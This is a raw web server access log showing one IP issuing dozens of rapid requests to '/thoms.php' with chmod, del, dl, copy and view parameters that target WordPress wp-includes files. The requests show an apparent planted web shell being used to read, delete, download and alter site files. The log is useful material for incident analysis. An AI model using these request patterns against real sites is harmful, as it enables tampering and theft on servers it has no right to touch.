45.135.193.11 - - [11/Sep/2026:23:40:51 -0400] "GET /thoms.php?chmod=nav-menu-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=nav-menu-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:51 -0400] "GET /thoms.php?chmod=session.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=session.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:51 -0400] "GET /thoms.php?del=class-wp-rewrite.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-rewrite.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:52 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-walker-page-dropdown.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-walker-page-dropdown.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:52 -0400] "GET /thoms.php?del=taxonomy.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?del=taxonomy.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:52 -0400] "GET /thoms.php?dl=atomlib.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59216 "http://163.245.207.76:443/thoms.php?dl=atomlib.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:52 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-ajax-response.php HTTP/1.1" 200 13980 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-ajax-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:52 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-metadata-lazyloader.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-metadata-lazyloader.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:52 -0400] "GET /thoms.php?del=class-wp-block-parser.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:52 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fjs HTTP/1.1" 200 30669 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fjs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:52 -0400] "GET /thoms.php?dl=class-wp-http-streams.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-streams.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fconnectors.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fconnectors.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:53 -0400] "GET /thoms.php?del=class-wp-block-type.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?del=class-wp-block-type.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Frewrite.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Frewrite.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:53 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-email-service.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-email-service.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:53 -0400] "GET /thoms.php?chmod=SimplePie&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=SimplePie&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-object-cache.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-object-cache.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:53 -0400] "GET /thoms.php?chmod=class-wp-post.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-wp-post.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:53 -0400] "GET /thoms.php?dl=class-IXR.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-IXR.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:53 -0400] "GET /thoms.php?del=class-wp-block-metadata-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-block-metadata-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:54 -0400] "GET /thoms.php?chmod=build&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=build&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:54 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-bindings-source.php HTTP/1.1" 200 13013 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-bindings-source.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-connector-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11859 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-connector-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:54 -0400] "GET /thoms.php?chmod=class-wp-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:54 -0400] "GET /thoms.php?chmod=theme-previews.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=theme-previews.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:54 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fai-client HTTP/1.1" 200 13258 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fai-client" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:54 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=ai-client.php HTTP/1.1" 200 12833 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=ai-client.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:54 -0400] "GET /thoms.php?dl=ms-blogs.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59216 "http://163.245.207.76:443/thoms.php?dl=ms-blogs.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:54 -0400] "GET /thoms.php?del=vars.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?del=vars.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:54 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-http-requests-response.php HTTP/1.1" 200 13323 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-http-requests-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:55 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ffeed-atom-comments.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11841 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ffeed-atom-comments.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:55 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-classic-to-block-menu-converter.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-classic-to-block-menu-converter.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:55 -0400] "GET /thoms.php?dl=media-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59227 "http://163.245.207.76:443/thoms.php?dl=media-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:55 -0400] "GET /thoms.php?del=certificates&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=certificates&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:55 -0400] "GET /thoms.php?del=widgets&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59215 "http://163.245.207.76:443/thoms.php?del=widgets&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:55 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-meta-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-meta-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:55 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-phpmailer.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11839 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-phpmailer.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:56 -0400] "GET /thoms.php?chmod=category.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=category.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:56 -0400] "GET /thoms.php?chmod=class-wp-duotone.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=class-wp-duotone.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:56 -0400] "GET /thoms.php?chmod=class-wp-http.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:55 -0400] "GET /thoms.php?del=class-wp-plugin-dependencies.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-plugin-dependencies.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:56 -0400] "GET /thoms.php?chmod=nav-menu.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=nav-menu.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:56 -0400] "GET /thoms.php?del=class-wp-view-config-data.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=class-wp-view-config-data.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:56 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=style-engine.php HTTP/1.1" 200 14332 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=style-engine.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:56 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fai-client&p= HTTP/1.1" 200 12403 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fai-client&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:56 -0400] "GET /thoms.php?del=post-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=post-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:56 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-styles-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11845 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-styles-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:57 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=comment.php HTTP/1.1" 200 56948 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:57 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fhttp.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11866 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fhttp.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:56 -0400] "GET /thoms.php?dl=class-wp-block-pattern-categories-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59258 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-pattern-categories-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:57 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=query.php HTTP/1.1" 200 18082 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:57 -0400] "GET /thoms.php?del=ms-functions.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=ms-functions.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:57 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-comment-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-comment-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:57 -0400] "GET /thoms.php?chmod=class-wp-http-streams.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-streams.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:57 -0400] "GET /thoms.php?del=nav-menu-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=nav-menu-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:57 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-meta-query.php HTTP/1.1" 200 21029 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-meta-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:57 -0400] "GET /thoms.php?chmod=compat.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=compat.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:58 -0400] "GET /thoms.php?chmod=l10n.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=l10n.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:58 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-oembed.php HTTP/1.1" 200 12142 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-oembed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:57 -0400] "GET /thoms.php?del=class-wp-site-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=class-wp-site-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:58 -0400] "GET /thoms.php?dl=class-oembed.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?dl=class-oembed.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:58 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-term.php HTTP/1.1" 200 13899 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-term.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:58 -0400] "GET /thoms.php?del=class-simplepie.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=class-simplepie.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:58 -0400] "GET /thoms.php?dl=class-wp-block-editor-context.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-editor-context.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:58 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-view-config-data.php HTTP/1.1" 200 21223 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-view-config-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:58 -0400] "GET /thoms.php?chmod=class-phpmailer.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=class-phpmailer.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
